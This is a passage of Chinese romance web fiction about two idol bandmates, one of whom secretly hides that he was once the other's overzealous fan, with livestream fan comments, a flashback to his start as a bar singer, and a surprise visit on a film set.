搞得大家都以为你根本不看,要不是这样,当年刚开始追星的他也不会真信了其他粉丝的话,在汤昼恒的私信里没完没了地输出…… 简直丢死人了! 话刚到唇边,被他猛一个急刹车扼制住。 忍住,这不是你应该知道的内容,再多说就露馅了。 方柏嘉抿住嘴,费力地做了一个好似吞咽般的动作。 想想也是,现在的微博粉丝数水分太多,很多一念名字都没什么人知道的演员都有一两百万粉,汤昼恒那会儿就是个才有起势的小演员而已,私信没有多到如今这个打开软件都要卡上几秒的地步,想看估计也就看了,本来也没人规定打开了就一定要回。 他才这么思忖,汤昼恒就仿佛知道他在想些什么似的道:“其实我也不是经常看私信,但因为这个粉丝实在发得太多了,导致每次我一打开私信界面,他都在前列。” “有一次,我去某个软件上看我当时演的那个剧的剧评,结果在里面看到一条评论,不仅口吻和他一模一样,发布的内容也和私信里起码有百分之五十重合,我一下就认出来这是他。” “我很好奇,就点进他那个账号主页看了下,发现他把我以前拍过的所有戏都看完并且评价了。他的点评风格,怎么说呢,和微博上不太一样吧,在私信里就是一直夸我帅、说我演得好,在这个网站上讲话就特别犀利,每部剧都长篇大论能指出好多漏洞,剧情没逻辑啦,虎头蛇尾啦,感情线太无脑啦……和你刚才的口吻挺像的。” 说着,汤昼恒明显露出在回忆些什么的表情,冲方柏嘉笑了笑。 事实上,他还说轻了。 那名粉丝的言辞何止是犀利,简直是讨打。 【不理解为什么男三长这么帅人设也这么完美女二却像瞎了一样一心只喜欢仿佛有狂躁症一样的男主,这合理吗?导演选角的时候有没有把自己看笑?剧情也极其狗血极其没逻辑为虐而虐,算了为了男三溺爱一下,十星给男三的脸倒扣八星给编剧】 【不是为了要考古我甚至不知道世界上有这么多烂片,还好老公总能帅得我一激灵。】 这样的言论发多了,导致好多剧里的主角粉觉得他是来找事的,纷纷在他的评论下怒骂讨伐。 该名粉丝也不客气,一条一条地怼回去道: 【我撒尿还用照自己?借给你正主好好照照吧,这种水平还能当男主,一路上屁股吃了不少苦吧[大拇指]】 字里行间都是对雷剧的鄙夷和对汤昼恒颜值的肯定,看得汤昼恒有好几次的冷汗连连,再返回看私信里那些萌萌的内容,怎么看都觉得不可思议。 汤昼恒瞧着他,一字一顿地说:“我对这个粉丝,记忆真的非常、非常的——深刻。” 他话这么说,却很认真地、目光一眨不眨地盯着方柏嘉看,好像是冲着他讲的一样。 “……” 被他这么一提,方柏嘉也想起自己年少轻狂时说过的话来,一时间竟不知道汤昼恒究竟是真心实意的,还是在讲反话。 他一阵止不住的心惊肉跳,实在不知道该说什么,有点结巴地道:“那……他还挺幸运的,能被你记住。” ……才怪,不如说是惊悚才对! “也许吧。”汤昼恒不置可否地淡淡道,“不过他也就喜欢了我一阵,可能大半年快一年那样。有一天他忽然就消失不见了,后面我没再见过他。可能是脱粉喜欢别人了吧,不知道他又管谁叫老公去了,现在又在做什么。” 说着,他眼神幽幽地和方柏嘉对视。 第53章 第 53 章 和嫂子恩爱得不知天地为…… “…………” 对方那目光怎么看怎么冰凉, 又饱含着方柏嘉一时半会无法解读出来的深意。 他努了努嘴,心跳热烈飞快,装作很忙地活动自己的唇周肌肉。 心想你猜怎么着, 现在这个粉丝再努力点说不定真能让你当他老公了。 在汤昼恒的视线攻势下,方柏嘉莫名有点心慌, 也不知道该说什么,干巴巴地地安慰对方:“他说不定是现实生活太忙, 没空追星——那个, 不跟你说了, 我去个洗手间。” 说完, 赶紧找了个由头跑开。 …… 汤昼恒的生理假总共就四天, 明天他们还要回公司上班。 看完电影回到平层, 两人又一起吃了顿饭,方柏嘉收拾好带过来的东西,和汤昼恒一块儿坐车回了宿舍。 一打开宿舍的门, 方柏嘉却是一愣。 其余四个队友全在他们这边的客厅里形形色色地坐着, 玩手机的玩手机, 看电视的看电视。听到开门声,齐刷刷朝着二人扭过头来。 陆翰音惊讶地“哎”了声:“刚提到你俩,你们就来了。怎么这么巧, 一块儿回来的?” “……” 被八只眼睛同时盯着的瞬间, 方柏嘉做贼心虚地悚然了半秒,还以为这些人是发现了他的汤昼恒的“奸情”,从而守株待兔,不过又很快反应过来不是。 陆翰音面前的茶几上摆着竖起来的手机支架,明显正和直播间里的粉丝说着话。 方柏嘉觉得莫名,思索再三, 小心翼翼地回答:“在外面凑巧碰到了。” “你们干嘛呢,都聚在这儿。什么刚提到我们俩?” “说就你跟队长不在呗。我们才一起看完电影回来,正等着外卖到呢。”江白树抬起头,正好看到在他身后的汤昼恒,抬起下巴朝他的方向努了努,“喏,他的新片。” “前段时间不是太忙了吗,一直没来得及去影院看。想说趁着今天大家差不多都在,本来还想叫你一起来着,结果小陆说你出门了,在群里@了你你也没回。” 大概是意识到陆翰音手机里还有一堆人听着,丞绪在旁边补充。 但其实没什么用。 直播间里的弹幕在意识到进来的二人是谁的刹那间疯狂滚动起来。 【我草这俩人居然同时出现了,该不会3不在这段时间是出去找1玩了吧?不说话我可要当真了】 【?歪屁股cpf少意/淫,没听人说是在外面凑巧碰到的?这都能硬拐到嗑糖上我也是笑了】 【只知道在其他所有队友都去影院支持老一的新作品还合照发网上了的时候只有某个人一声不吭地消失了[白眼]台上卖腐积极得要死一到了台下又不装了,倒贴货就这么势利眼】 【点了,粉丝还洗什么没看到,在这个智能时代居然有人信一个人能一直不看手机?也就骗骗鬼吧,这么流连忘返别不是去陪嫂子了[偷笑]】 【1f又在这里给队友zy,合着营业全程都是别人主动公司逼迫就你老哥清纯无辜白莲花是吧,有本事别让老哥对3笑得那么不值钱啊?[冷汗]1公还动不动就给3艹娇妻人设,蒸鹅心】 【亲娘啊谁能告诉我1粉3粉怎么又吵起来了】 【还不明显吗,四个队友下午一块看老一新电影去了,只有老三失联不知所踪。1f封建大老爷做派认为3没有像其他队友一样捧场不高兴了,3f自知3很不合群但又嘴硬不愿承认,一场大战一触即发!】 【1f怎么回事,一直以来吹老1宽容大度人淡如菊不跟老三这只比格计较的不是你们吗,明知3本性如此还如此破防又素在……?是第一天知道老三看不上老一?公司要求卖个腐表面装装样子怎么有的人还当真了[问号]粉随正主的没有避暑】 【小行星觉得老哥现在是山川相缭当家一哥噜,又是投资新电影又把前太子挤下来自己上位,以为全公司都靠老一带飞离了他就不行呢,其他人敢不给老哥上供?简直big胆!】 【密码的这里是老幺的直播间13唯粉要打出去打行吗,管理员出来把吵架的都禁下言!!!】 陆翰音看着屏幕上一行行滚过的弹幕,眼皮抽搐了下。 好在组合出道四年,类似的场景数不胜数,几个成员也早就习惯了随地大小撕的场面,内心并没有太大波动。 陆翰音拆开一包薯片吃了起来。 杭泽宇坐在斜侧方,看不到屏幕上的腥风血雨,跟在后面没心没肺地接:“没事儿,反正他就算在了也不会去——” “去”字才说到一半,丞绪就不轻不重地给了他一下肘击:“说什么呢。” 杭泽宇这才察觉到什么似的闭上嘴。 顿了顿,赶紧补救:“方柏嘉本来就不爱看电影,谁的都不爱看。” “真的,每次叫他一起出门他也不去。”陆翰音跟着吐槽起来,“这哥可宅了……” “……”这帮人说小品呢。 方柏嘉动作一停。 他今天一个白天都和汤昼恒待在一起,还真没怎么看手机。 没想到几位队友也去看了电影。 方柏嘉下意识回头瞧了汤昼恒一眼,对方递给他一个近乎促狭的眼神,他的脸上立时热了下,假装听不懂这几人在为自己开脱,避重就轻道:“有事,没看见群消息。” 在一群队友眼皮底下,方柏嘉也不好跟汤昼恒表现得太亲密,换了鞋走进来,在客厅沙发上随便找了个地方坐下玩手机,眼睛瞧着汤昼恒走回房间收拾行李。 陆翰音:“对了,刚说到队长的新电影,我有好几个地方一直没想明白——” 以老幺为首的一圈人竟然聊起了电影。 方柏嘉有意无意地竖起耳朵听了一阵,没一会儿就变得如坐针毡起来。 原因无他,内容实在是太离谱了。 《恶魔捕手》作为能拍续集的电影系列,多少还是有两把刷子,以其多重反转和作品中大量的诡叙为宣传亮点,一经上映讨论度奇高,无数网友都在发帖分析探讨其中的剧情伏笔,当然,也有不少人没看懂。 陆翰音就是其中之一。 “那个变态杀人魔为什么要害自己的养母,她不是站在他那边的吗?” “老李到底是谁杀的?” “网上为什么都说小雪就是当年那个女孩?” 期间杭泽宇和江白树搭理了他几句,结果也没说到点子上,作为旁观者的方柏嘉一阵气血上涌,难受得想掐自己的人中。 这些人到底有没有认真看过影片,怎么会错得这么离谱? 他本来不想多管闲事,结果越听越绷不住。 直到陆翰音第不知道多少次地问出一个相当荒谬的问题,方柏嘉脑中名为理智的弦猛然崩断,他转过头,忍无可忍地道: “你是一点都看不懂隐喻吗?那个带美人鱼造型的沙漏出现了很多次,一直在反复暗示她俩就是一个人。还有……” 方柏嘉连珠炮弹似的飞快说完一大段话,不厌其烦地把他们对话中的每个错误都纠正了。 最后不耐道:“你们究竟是怎么看电影的,梦游吗?” 话音落下,整个客厅里再次呈现出与在汤昼恒家里时别无二致的安静。 方柏嘉倏然一愣,只见其余众人均是一脸震惊又莫名地看着他。 刚才还硝烟四起的直播间更是在他开口的一瞬迅速刷起长串的问号。 陆翰音呆呆地张大嘴巴:“你怎么知道得这么清楚?” “呃……”斗志昂扬的方柏嘉立刻没了声,意识到自己因为一时冲动犯下了怎样的错误。 糟了。 就在他大脑一片空白之时,汤昼恒的声音响了起来。 “我跟他一起去的影院。” 几人同时转头。 汤昼恒不知何时从他的卧室里走出来了,发现大家都在看他,想了想又补充:“就今天下午,可能和你们差不多时间看的。” 他似乎只是路过听到,就顺口回答了句,说完也不在意众人诧异的眼神,身影消失在厨房中。 丞绪露出若有所思的表情:“哎你不是——” 他想说什么,却又把话咽回嘴里。 弹幕上换了一波人刷屏。 【小哥哥你们俩?????】 【破案了,没和队友一起去看是因为在和正主看,谁能想到某只比格没回消息原来是忙着在和老公二人世界[洋洋得意]】 【13总能在所有人都没预料的时候发一波大的】 【?某人之前说从来不看老一演的电影合着只有网友当真了,小行星小方糖这边撕得头破血流们诺亚方昼已然甜蜜约会归来,唯粉姐立刻在正主的衬托下变成了笑话】 【甚至就连队友也变成了笑话,刚刚大家还帮你找补不去看电影的理由结果某人有了亲亲老公就把自己说过的话忘得一干二净,不是哥儿们儿你怎么背刺(】 【朋友们看到没,现实中真的要远离13这种人,一有了对象就发狠了忘情了把朋友都忘在脑后了,你为了他义愤填膺的时候他正在和嫂子恩爱得不知天地为何物,散了吧,这俩人真把网友当套了(bushi)】 【1f:老三这个白眼狼表面和1卖得这么勤结果私下连样子都不肯做,3f:不会真有人以为3看得起1吧都是公司施压罢了[白眼],老哥/不不:抛下全世界幸福双排ing闲杂人等勿扰[心花怒放][粉红泡泡][亲亲]】 【……我真有点怜爱wfj了】 【我了个亲娘嘞13该不会真的在见面会一亲亲出感情了吧,明明都住宿舍我真的想象不出有任何需要悄悄避开其他人单独一起看电影的理由】 【有没有可能是哥几个跑完团活又要各自分开打工了(。)我看成员里有人已经在断断续续收拾行李了】 【不要啊——!!!(尖叫)我产好不容易甜甜蜜蜜起来怎么没多久就又要分开了TAT】 【方舟下次回归还能看到你们这么麦吗,方舟在我看不到的地方也一定要幸福啊……方舟……方舟!(追汽车跑)】 陡然响起的门铃声打断了现场的氛围。 原来是几人点的外卖来了。 事情瞬间翻页,大家都忙着起身迎接晚饭,很快忘了这茬。 方柏嘉晚上躺在床上,却还想着汤昼恒在看完电影后和他说过的话,还有那个据说让他“记忆深刻”的粉丝。 全世界恐怕只有方柏嘉自己知道那名粉丝为什么突然不见了。 ——还是十七岁,那个在K记快餐店里和汤昼恒互发私信的夜晚。 结束对话后的良久,方柏嘉仍然还坐在位置上愣神。 反复把两人这天的聊天记录从尾翻到头,再从头翻到尾,依旧不太能相信这是真的。 心中有一点感动、一点不可置信、一点迷茫……各种情绪五味杂陈。 最后涌上来的是惊恐。 如梦初醒的方柏嘉切到自己主页,从头到尾地浏览下来,把他那些看起来太过分的微博都给删了。 和自己有关的内容也删了。 怕汤昼恒趁他不注意,真的把他的歌拿去给别人听—— 也是因为不知道为什么,不想让对方知道太多关于他的细节。 私信里已经暴露很多了。 夜已深沉,方柏嘉把手头上最后一张卷子做完,桌面上所有的物品都收进背包,抱在怀里准备休息。 因为大脑里的东西太多,过于兴奋,他反复酝酿了好久的睡意才真的睡着。 第二天醒来,方柏嘉眼神迷离,像所有被工作吸干精气的年轻人一样,在早高峰挤着沙丁鱼罐头般让人喘不过气来的地铁回到餐饮店上班。 ——偶尔放一天假,晚上空闲没事的时候还还能做一做当大明星的美梦,到了现实里,却只有日复一日的机械性体力劳动。 理想与生活的差距悠然跃上水面,生存压力面前,再多的遐想也失去色彩。 昨天晚上仿佛打开新世界窗口那般的兴奋,也在这样的疲惫中渐渐淡去了。 工作到晚上七点半,方柏嘉像往常那样乘半个小时的地铁转去清吧,换上服务生的工作服,开始端盘子递酒、打扫卫生,直到凌晨三点打烊。 周而复始了两天,周末就这么从指间滑走。 方柏嘉是在周一来临的早上才意识到自己错过了山川相缭周末的海选面试。 周六的时候,他想着“今天工作很忙,就先不去了”,到了周日的时候,他又想“反正又不只有这一个周末有面试,下次再去就行了”。 之前对汤昼恒的承诺,就这样在两班倒连轴转的双份兼职中化为泡影。 方柏嘉偶尔也会在忙碌的空隙里感到一丝心虚,转念又为自己找补——我是说我会去,可我没说什么时候去啊。 这也不算骗人吧。 ……但其实他心里清楚,自己到底是因为什么而退缩了。 后来的很多天里,方柏嘉几乎一有空就会打开私信,看他那晚和汤昼恒的对话。这动作变成下意识的反应,完全刻印在方柏嘉的肌肉条件反射中。 他一遍又一遍地浏览着屏幕上滑过的字句,好像每看一次,都会有新的感觉涌现。 真正的转机出现在一星期后。 这天是他餐饮店的休息日,方柏嘉不用早起赶地铁。难得有一个白天的时间可以浪费,方柏嘉一直睡到中午过十二点才醒。 店里锁着门,空荡荡的酒吧里除了他没有别人。 方柏嘉解决完早餐,去卫生间理了理睡得乱飞的刘海,出来时看见摆在酒吧一脚的电子琴,他脚下步伐一滞,顿时忘了自己原本要做什么,缓缓走过去坐下,打开电源,单手弹了几个音。 酒吧的招牌元素是音乐,找了好几个驻唱轮流过来表演,歌单基本固定,都是些时下传唱度很高的流行曲,风格抒情R&B的偏多。 面前的架子上就摆有乐谱,方柏嘉翻到一首感兴趣的,将另一只手也抬上来,开始试着演奏。 琴声震颤,隐隐拨动心弦。 一朝处境巨变,过去大半个月,方柏嘉都不得不想办法打工供自己生存,早就忘了他还有这样一个爱好。 冷不丁再接触到琴键,有种恍如隔世的错觉。 他怔怔盯着自己跳动在黑白背景上的手。因为有一段时间没有练习,方柏嘉的动作明显生涩不少,但他并不在意,弹着弹着,忍不住随着旋律唱出歌词。 弹完一首,又弹一首。 接连弹了三四首后,方柏嘉隔了快一个月没碰琴的手越来越熟练。 悠扬轻灵的琴声逐渐在空旷的酒吧中弥漫开来,像某种流动的液体。 就在他找到感觉,渐入佳境时,身后猛然传来重物磕地的声响。 方柏嘉沉浸式的演练骤然被打断,他回过头,这才发现有人来了。 酒吧大门开着,把他招进来的男人就站在门口,正指挥着别人搬着箱子往里进。听到店里的乐声,也是一脸惊诧又狐疑。 两人视线对上,方柏嘉的歌声和手上按着琴键的动作同时停止。 他脸上的表情有点尴尬——主要是怕对方怪罪,从凳子上站起来道:“店长。” 乐声没了,店里倏地归复死水一般的平静,乍一听还让人不太习惯。 店长愣了一下,倒没说什么,像是觉得稀奇,等了两秒道:“没事儿,你接着弹你的吧,还挺好听的。” 方柏嘉有些局促地重新坐下,思考了片刻是该听从对方的建议还是转身走人,最终还是决定抓住这难得的机会,把手搭在上边,接着弹奏。 这回没再唱歌,整个人安安静静的,只有悠长的琴声不断从指尖泄出。 * 转天晚上,营业时间。 方柏嘉刚将一桌客人的点单交给吧台,路过酒吧后面的员工休息室时,听见老板在里面对着人发脾气:“一天到晚就知道喝喝喝,怎么不喝死他算了!要工作的时候就掉链子,我生意还要不要做?!” 低沉的声音从房间深处传来,方柏嘉听了两耳朵,说的应该是驻唱的事。 酒吧的演出时间一般都在晚上八点半到十一点半,现在已经八点快五十了,今天的那位驻唱却还没来。听说是通宵酗酒,把自己喝得起不来了。 方柏嘉一路走来,被好几位顾客拉着问了他是什么情况,大有今晚没人唱歌就转头去下一家的架势。 “快快,打电话叫前天那个过来救场,他还有多久能到?”老板在后台催促。 经理放下手机,擦了擦额头的汗:“我问了,他说现在打车过来也要半个小时。” “那那个谁呢?羊毛卷那个。” “他更不行了,今晚在别的场有演出。” 老板眉头紧锁。 刚从后厨左手一盘炸薯条、右手一盘柠檬无骨凤爪地出来的方柏嘉步伐一顿,不知道哪里忽然生出一股勇气,说了一句:“我可以试试。” 清晰的话音自身后响起,老板转过身一愣。 盯着面前年轻的alpha看了好几秒,脑海中灵光一闪,想起自己那天听过他的弹唱,是挺好听。 可这没见过世面的毛头小子能行吗? 男人皱着眉头纠结几秒,咬咬牙道:“就你了。外面的客人都等不及了,限你五分钟内上场——” 这话说完,方柏嘉却像没听见般,站在原地迟迟没动。 “怎么?”老板还以为他突然怯场了。 方柏嘉说:“要加钱。” 老板差点气笑:“你还跟我谈起条件了。行,如果你表现得好,我就按驻唱的价格给你结这半小时的费用。他们一天三小时三百,半小时我给你五十。但是你要是给我搞砸了——看我怎么收拾你!” 方柏嘉丝毫没被他吓到,只是有点不满意,但转念一想,自己正常干服务生也才一小时18。 “可以。”他点点头,把系在身上的围裙取下来,送完菜后沿着后台绕了一圈,从走廊另一侧走到小舞台上。 一束灯光淡淡打到台前,底下的顾客谈天的谈天,喝酒的喝酒,似乎暂时无人注意到他这边。 即便有发现方柏嘉的人,在看到他身上穿着的酒吧制服时,眼神也从探询变成了见怪不怪。 头刚扭到一边,紧接着又像察觉到什么似的再转回来,额外多看了这个长相过于精致俊俏的男生好几眼,开始和身边的同伴疯狂嘀咕起来。 从各片区域传来的喧杂的对话声像海浪一样此起彼伏,又被方柏嘉统统屏蔽。 虽然是临时请缨,但因为方柏嘉早就提前几天弹过好几首曲子,倒也不算手生。他在座椅上坐下,挑了一首前奏较长的歌,也不抬头去看前边卡座上的人,深吸一口气,按下第一个键。 “叮——” 清脆的琴声从指尖流出,整个酒吧内部顿时为之一静。 紧接着是一连串行云流水的伴奏,方柏嘉低着头,额前碎发微微快遮住眼。 开始后的好一会儿,方柏嘉始终只是在弹伴奏,像是热身一样,手指敲击琴键的样子恣意又随性。 下边的客人面面相觑,搞不清这是什么套路:“什么情况,原来的驻唱不来了,就换成服务生上?” “今天是纯音乐啊?” 抱着欣赏美色的意图,倒也手托着腮凝视了良久。 直到一分钟多钟后,顺着歌曲的节拍,方柏嘉恰好踩在一句歌词的末尾、下一句歌词的开头前开口—— …… 不知道什么时候开始,驻足在酒吧门前的人越来越多。 大家似乎都被橱窗里传出的歌声吸引,在途径时好奇地通过玻璃窗看向里面的人。 有人因此而迈上台阶。 酒吧经理循着歌声出来,被眼前的场景吓了一跳。 酒吧内部的位置已然满座,不少人举起手机对着酒吧一侧小舞台上的演唱者拍摄录像,服务生忙碌地低腰穿梭其间,酒单和菜单雪花一样漫天地飘。 九点过半,先前准备找来救场的人终于到了。方柏嘉唱了四十来分钟,嗓子确实干渴,让那人替上,自己到员工休息室找水喝。 从舞台上下来,他整个人还是有点晕的状态。在上面时分不出自己表现的好坏,唱抒情歌又不像club里面需要炸街,观众只是欣赏和倾听,很少欢呼互动。不过既然没有人往台上扔烂菜叶和喝倒彩,应该就是没搞砸吧。 这天后续发生的一切都像是做梦。 方柏嘉重新出去招待客人,席间坐着的人认出他是刚才在上面唱歌的那个服务生,言谈间不免连声夸赞,还有人趁机打探他的个人信息,方柏嘉都装傻回避掉了。偶尔回到更衣室休息,店里的其他服务生更是一窝蜂地冲上来打趣凑热闹。 驻唱唱了一个小时,老板又让他上去接替。 这天晚上他和那名驻唱轮流上岗,短短一晚像把另一种人生短暂地过了一遍,给了方柏嘉一些气球般膨胀起来的虚无勇气与自信,也让他心中生出不真实的渴望。 睡前躺在更衣间的长沙发上,他把他已好几天刻意没去看过的对话记录又翻出来,来来回回地打量了好几遍,随后在网上搜出其他人分享的山川相缭面试练习生经验帖了解起来。 第二天晚上,方柏嘉在更衣室里对着镜子系制服衬衫的扣子,一起工作的小A从外面蹦蹦跳跳地进来,举着手机窜到他面前大叫:“你在网上火啦!” 听得方柏嘉一愣一愣的。 好不容易看清对方的手机屏幕,才发现那是某短视频APP的界面。看情况,应该是昨天有坐得离他很近的客人拍下他弹唱时的视频,上传到了这里。 视频被人点了红心,方柏嘉被那抹艳色吸引住,自然而然地看了一眼。 一夜过去,竟然已经十几万赞了。 小A还没来得及发表想法,老板的身影突然出现在更衣室门口:“干什么呢?客人等着点单,你在这儿偷懒?!” 小A一缩脖子,收起手机溜了。 方柏嘉也加快了手上穿衣服的速度。 “不是说你。”老板走到他跟前,表明了真正的来意。 大概是看到了方柏嘉身上的潜力,男人今天也想让他上去唱歌,还问他有没有兴趣直接转成驻唱,以后服务员的活就不让他做了。 换做之前,方柏嘉根本不会犹豫,当一天驻唱的工资是服务员的N倍,他正是缺钱的时候,没道理不心动。 此时的方柏嘉听了,却不自觉地想起那件事来,话没有说满,只道自己没做好心理准备,还要考虑一下。 其实心里已经下定决心,这周末就要请假再去一趟山川相缭。 可还没等他去找机会,机会就自己找上门来。 不知道是不是有人在网上自发帮忙宣传,这天店里的生意依旧爆火,除了回头客外,有不少人是刷到了抖音之后专程过来看他。 驻唱每三十分钟就有一阵的休息时间,方柏嘉唱完一轮下来,在回更衣室的路上被一名看起来不到三十岁的女性给拦下。 对方看见方柏嘉,自动朝他递来一张名片。 “我是山川相缭音乐经纪部专门做练习生新人选拔项目的负责人,在网上看到你的视频,不知道你是否有兴趣和我多聊几句?” * 方柏嘉最终还是和山川相缭签了约,成为一名正式的练习生。 但方式和他之前以为的不一样。 就在他签约后没两天,汤昼恒就仿佛心有灵犀一般,给他发来了新的讯息。 看着那个熟悉的账号名称出现在首页时,方柏嘉的心忍不住猛烈地突突跳动两下。 @汤昼恒T:【上次跟你说的事,你去了吗?结果怎么样?】 方柏嘉在手机前破天荒地沉默了。 其实他完全可以跟对方说,我们聊天后的第一个周末我太忙了,没来得及去,结果后面再想去的时候还没等行动,你们公司的星探就自己找到我了,我很厉害吧? 但方柏嘉没有这么做。 他不断在心里问自己,这到底算什么?汤昼恒为什么要对他这么好—— 就因为他是他的粉丝,又恰好表现得很可怜? 根据对方前面的表现,方柏嘉毫不怀疑,一旦自己进入公司,凭借着这一层已知的关系,对方依然会时不时关照他的近况、对他提供帮助。 可是他究竟有什么资格被这样关心? 说到底,方柏嘉只是一个汤昼恒的爱慕者而已,却因此额外获得了太多不属于他的东西。包括对方上回说要拿他的歌给别人听,他也觉得慌乱,好像同时利用了自己的身份,和汤昼恒善良的同情心。 继续和那人保持联系,固然是件令人不敢想的好事,方柏嘉却也不想让他们之间的关系因此变了味道。 更何况,汤昼恒不仅看了他的主页,还读过他的私信。 一想到自己都在这个微博账号里发过什么离谱的内容,方柏嘉就有种就地想找根绳子把自己吊死的冲动。 事实上,他觉得汤昼恒在看过那些东西之后,还能对他这么和颜悦色,简直堪称脾气一流。 就算对方可以忍受,他自己也还要脸。 绝对不能让汤昼恒知道自己是谁。 方柏嘉想。 他也不能告知对方他已经签约入选,否则汤昼恒只要去找公司里的人一问,他依然会变得无所遁形。 就在那一瞬间,方柏嘉阴差阳错地做出了一个决定。 他慢慢地动起手指,在屏幕上键入。 【抱歉,我没有选上。其实结果之前就出来了,但我没好意思和你说。很感谢你前面的建议,不过这件事就这样吧,让你失望了。你放心,我在生活这方面没有困难。】 方柏嘉在输入框里反反复复把打出来字删掉再加上,最后嘴唇重重一抿,闭眼点击了发送。 信息跳出去之后,他几乎是落荒而逃地关上了私信界面,将手机落了锁。 …… 时隔许久回顾,方柏嘉依旧不清楚自己那时的举动究竟算好算坏。 如果给他一个机会再选一次,是否又会给出不同的结果。 他只知道,当他在公司的出道战综艺里看到汤昼恒时,在一片汪洋般足以淹死人的震惊情绪里,第一个涌上方柏嘉脑海中的念头绝对是庆幸。 还好自己当初那么做了,还好汤昼恒从头到尾都不知道那个曾经接受过他帮助的狂热粉丝是谁—— 这样的想法在他最终和汤昼恒一起成为队友出道后升上了极致。 汤昼恒提起往事,可以说把方柏嘉吓了一跳。 对方到底为什么突然要跟他说这个,难道是猜到了什么? 可没道理啊。 他当时分明把马甲捂得严严实实,什么都没透露,最后也悬崖勒马得相当果断。 思来想去,方柏嘉只能安慰自己,将其归结于巧合。 第54章 第 54 章 如果我是哥哥的话,那老…… 本次回归期结束, 成员们不出意外又要“各奔东西”去了。 他们这次回公司,就是要趁着大家都还没走,把后面几个月要出的一些物料和周边都在一周内一次性地拍完。 做完这些工作没过两天, 汤昼恒就将自己那几只猫加上大部分的行李都提前打包送去了某店。 听说这个月二十号就要进组,一直拍到年底。 还没暧昧两个月就要分隔两地, 方柏嘉心里不是一般的惨淡。 然而干这行就是这样,除非恋爱对象就是身边的工作人员, 否则一连几个月没接触也是常事, 只能找空闲的休息时间悄悄见面。 汤昼恒走后, 方柏嘉不适应了好几天, 却也很快没空忧郁了, 因为他自己马上也要进组一档综艺。 上次帮师妹团的成员听歌时提到的《为乐而作》, 他就是节目组请来的四位领作人之一,也是其中最年轻的嘉宾。 《为乐而作》是创作竞技类音综,与时下普遍流行的大部分音乐节目不同, 打出的旗号是要遴选新一代“唱作全能”的歌手, 不光要会表演, 还要有自己创作写歌的能力。 每一个赛段,节目组都会给出这个阶段的创作主题,选手们再各自根据题目进行组队创作。 而“领作人”的工作, 就是根据众人在初赛中的表现, 挑选符合心意的选手加入自己的战队,从第二赛段开始直至最后的总决赛,都是以战队为单位进行竞赛。 节目录制时长预计四个月,看似时间充裕,其实任务相当紧凑,每个赛段只有二十天用来准备, 除了写歌之外,舞台排练、布景等后续演出细节也要耗费不少精力。 方柏嘉作为领作人,要监督和领导手下好几个队伍的进程,必要时也要帮忙修改和提出建议,一时间忙得是晕头转向。 …… 不知不觉中,时间过得飞快,方柏嘉的易感期就在大半个月后。 方柏嘉也是在想起这一点后才惊觉,原来距离他易感期被汤昼恒撞见那次,已经过去快三个月了。 相比起汤昼恒除了偶尔请假出去跑活动,其余时间都在剧组里拍戏,方柏嘉录综艺倒是要比他松快一点,起码每个赛段结束后都有几天的休息时间。 两人因此说好,这回是他先去汤昼恒那儿——其实两边的城市距离本来就不远,高铁两小时就能到。 汤昼恒:【我请了29和30号的假,28晚上可能会拍到凌晨,你到了就跟小周说,让他送你去我住的地方,不用等】 方柏嘉乖乖应下。 真到了说好的时间,却并没有按照对方说的做。 上次去汤昼恒家时加了助理小周的微信,这次很快派上用场,方柏嘉提前在手机上和小周“串通”,问好了剧组所在地,一出高铁就转乘商务车过来,由小周带他去汤昼恒停在拍摄场地旁边的房车里。 “这边工作人员都清场过,不会有粉丝过来。” 对方这么说着,又告诉方柏嘉汤昼恒眼下这场戏差不多再有十分钟就能拍完。 方柏嘉想了想叮嘱他:“别告诉他我来了。” 小周比了个ok的手势,转身离开。 方柏嘉习惯了轻装出行,又是私人行程,身边没带助理,一身黑衣黑裤,从头到脚包裹得严实,手边只拎了个装换洗衣物的旅行挎包。 到了车里第一件事,先把一直戴在头上的鸭舌帽和口罩摘下,方柏嘉一头扎进房车卫生间,对着镜子整理了半天发型,过了一会儿,收到小周发的消息:【他来了。】 他立刻放下手机,在周遭端详片刻,找了个卡在沙发后面的死角蹲身躲了起来。 没过多久,房车大门被人拉开。 有什么人的脚步声响起,由远及近的,慢慢来到一进门处的厨房吧台前,像正从冰箱里拿出冷饮来喝。 方柏嘉蹲在原地仔细听着,等到那人放下杯子,立刻弯身从角落里面钻出。 汤昼恒听到身后传来鞋底与地面的摩擦声,似有所感地微微偏了偏脑袋。 然而还不等他彻底转过头,一道人影就骤然站了起来,从后边往前跳着扑上汤昼恒的后背。 “哥哥!”方柏嘉冷不丁喊了一声,似乎想凭借音量把对方吓一跳,一双手猛地捂住他的两只眼睛,“猜猜我是谁——” “……” 怎么会有人一上来就把谜底写在谜面上。 汤昼恒先是一惊,随后很快意识到什么,反应过来——看小周刚才的样子,肯定是这俩人早就悄悄“密谋”好了,要给他一个惊喜。 汤昼恒笑了下,抓住方柏嘉搭在自己脸侧的一边手腕,抚摸脉搏似的摩挲两下,转过身来道:“让你在家等,怎么过来了?我起码还有两小时才结束。” 看着对方并没有特别大表情变化的脸,方柏嘉惊奇地瞪大眼睛:“你怎么一点都不意外?” “……我看到你放在地上的包了。”汤昼恒朝远处抬了抬下巴,“再想到小周在外面说什么都不肯进来,就大概能猜到是怎么一回事。” 方柏嘉顺着对方的目光往一旁扫了眼,他特意塞在柜子后面的挎包从进门这个角度看没藏好,露出了四分之一的体积。 方柏嘉嘴角抽搐一下,这人眼睛还挺好使。 他撇了撇嘴,感觉自己这个惊喜好失败,接着回答汤昼恒刚才的问题道:“反正都是等你,在哪里等都一样咯。否则我一个人在你家不也很无聊,又没去过,也没有人给我介绍一下哪里是哪里,万一晚上睡错了地方怎么办……” 说话间微微仰起头来,眼睛滴溜溜的一圈,看向上方再转回来,有种面无表情的古灵精怪。 汤昼恒没忍住捏了他的脸一下。 “你来我这,还想睡哪?” 他佯作听不懂对方的暗示:“猫都在家里,你可以跟猫玩一会儿。” 方柏嘉闻言,脸上果然露出了不满的神色,表情明暗变化了几秒,最后还是不装了:“什么猫啊人啊的,说什么呢。我好不容易有了假过来找你,想提前就见到你,你竟然让我去玩猫?!” 方柏嘉的语气满是不可思议,伸手指了指自己。 意思是:汤昼恒竟然敢不接受他的宠幸? 汤昼恒被他逗笑,抓住对方举在空中的那只手,往他身前的方向轻拽。 面前的青年顺着力道往前半步,被汤昼恒拦着腰轻轻抱在怀里,脸上半真半假摆出来的“余怒”未消。 汤昼恒半低下头,在他柔软的唇上蹭了两下,再抬起来时,方柏嘉的面色已彻底变得和缓,只是仰起一张素净无妆的脸和他对视。 